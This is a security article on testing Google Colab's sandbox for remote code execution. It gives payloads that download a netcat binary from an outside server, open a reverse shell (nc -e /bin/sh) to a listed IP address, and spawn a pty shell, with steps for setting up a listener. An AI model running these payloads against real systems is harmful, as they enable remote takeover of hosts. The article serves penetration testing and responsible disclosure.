Detecting Sandboxed RCE Vulnerabilities in Google Colab: A Practical Approach

Google Colaboratory (Colab) provides a powerful environment for executing Python code in the cloud. While designed with security in mind, sandboxed environments can sometimes be susceptible to Remote Code Execution (RCE) vulnerabilities. This article explores a practical methodology for detecting potential RCE vulnerabilities within Colab’s sandboxed environment, focusing on specific payloads that attempt to bypass restrictions.

Understanding the Challenge: Sandboxing and RCE

Colab employs sandboxing to isolate user code and prevent malicious actions from affecting the underlying infrastructure or other users. However, if the sandboxing is not perfectly implemented, attackers might find ways to execute arbitrary code outside the intended confines.

Our goal is to test the boundaries of this sandboxing by attempting to execute system commands and establish reverse shells, which are common indicators of RCE vulnerabilities.

Payload Analysis and Testing Methodology

We’ll analyze and test the following payloads, each designed to achieve different levels of command execution and potential sandbox escape.

1. Downloading and Executing External Binaries:

import os

directories = os.system("curl https://pentesting.syzhack.com/G/nc -o /tmp/nc && chmod +x /tmp/nc")
print(directories)

# You could also use the os.popen() method
with os.popen("ls -lh") as f:
    print(f.readlines())

Objective: This payload attempts to download a Netcat binary (nc) from a remote server, make it executable, and then execute it.

Significance: If successful, this indicates the ability to download and execute arbitrary binaries, a significant security risk.

Testing:

1. Run this code in a Colab notebook. Observe the output.
2. If the curl command succeeds and nc is downloaded and made executable, and the following ls -lh command shows the nc binary in the /tmp directory, it is a sign that the sandbox allows network connections and file system writes.
3. If the curl command fails due to network restrictions or file system write restrictions, it is a sign that the sandbox is working as intended. os.popen() test: the os.popen() method is also used to check if basic shell commands can be executed and their outputs read.

Establishing a Reverse Shell:

import os


directories = os.system("/tmp/nc -e /bin/sh 159.223.8.47 444")
print(directories)

# You could also use the os.popen() method
with os.popen("ls -lh") as f:
    print(f.readlines())

Objective: This payload attempts to execute the downloaded Netcat binary to establish a reverse shell connection to a specified IP address and port.

Significance: A successful reverse shell indicates a critical RCE vulnerability, allowing an attacker to gain interactive control of the Colab environment.

Testing:

1. First, ensure you have a listener set up on the specified IP address and port (e.g., nc -lvp 444).
2. Run the payload in Colab.
3. If a connection is established on your listener, the sandbox is vulnerable.
4. If the nc command fails, it indicates that outbound connections or command execution are restricted.

Important: Replace 159.223.8.47 with your own listening IP address.

Spawning a Pseudo-Terminal:

python3 -c 'import pty; pty.spawn("/bin/sh")'

Objective: This payload attempts to spawn a pseudo-terminal (pty) and execute a shell (/bin/sh).

Significance: A successful pty spawn can provide an interactive shell within the Colab environment, potentially bypassing certain restrictions.

Testing: Run this command in a Colab code cell. If a shell prompt appears, it indicates a potential vulnerability.

Analysis: Many sandboxes restrict the usage of pty, so failure is expected in a properly secured environment.

Interpreting the Results

1. Success in downloading and executing nc: Indicates a potential weakness in network and file system restrictions.
2. Successful reverse shell: Confirms a critical RCE vulnerability.
3. Successful pty spawn: Indicates a potential for interactive shell access.
4. Failure of all payloads: Suggests a strong sandboxing implementation.

Responsible Disclosure

If you discover a potential RCE vulnerability in Google Colab, it is crucial to follow responsible disclosure practices. Report the vulnerability to Google’s security team through their vulnerability reporting program. Do not publicly disclose the vulnerability until it has been patched.

Proof of concept:

Conclusion

Regularly testing sandboxed environments with carefully crafted payloads is essential for identifying potential RCE vulnerabilities. By understanding the techniques used by attackers, security professionals can help strengthen the security of cloud-based platforms like Google Colab. Remember to always conduct security testing responsibly and ethically.

Remember to always conduct security testing responsibly and ethically. If you discover a potential vulnerability, prioritize responsible disclosure to the platform provider. Your findings can contribute to a safer online environment for everyone.